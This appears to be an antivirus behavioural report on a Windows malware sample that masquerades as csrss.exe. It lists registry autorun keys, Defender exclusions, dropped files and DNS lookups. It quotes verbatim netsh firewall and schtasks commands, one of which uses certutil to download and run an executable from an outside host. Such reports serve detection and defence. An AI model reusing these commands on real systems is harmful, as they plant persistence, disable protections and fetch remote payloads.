Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DawnSound' = '"%WINDIR%\rss\csrss.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\scheduledupdate
- <SYSTEM32>\tasks\csrss
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\rss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\csrss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\DawnSound' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wup' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<DRIVERS>' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'csrss.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '<File name>.exe' = '00000000'
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes
Modifies file system
Creates the following files
- %WINDIR%\rss\csrss.exe
- nul
- %TEMP%\csrss\patch.exe
- %TEMP%\dbghelp.dll
- %TEMP%\symsrv.dll
- %TEMP%\ntkrnlmp.exe
- %TEMP%\osloader.exe
Network activity
TCP
HTTP GET requests
- http://oneocsp.microsoft.com/ocsp/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQN1VoiX40jVOMldh7uDThi9DqeewQU1cFnOsKjnfR3UltZEjgp5lVou6UCEzMABoNts7TWvKLc3ccAAAAGg20%3D
- http://www.microsoft.com/pkiops/crl/Microsoft%20Azure%20TLS%20Issuing%20CA%2006.crl
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK ea####design.com
- DNS ASK e5#############a14-b975-089c43de1064.easywbdesign.com
- DNS ASK se######.easywbdesign.com
- DNS ASK msdl.microsoft.com
- DNS ASK oneocsp.microsoft.com
- DNS ASK microsoft.com
Miscellaneous
Adds a root certificate
Creates and executes the following
- '%WINDIR%\rss\csrss.exe' ""
- '%TEMP%\csrss\patch.exe'
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
- '%WINDIR%\rss\csrss.exe' ""' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /TN...' (with hidden window)
- '%TEMP%\csrss\patch.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /TN...
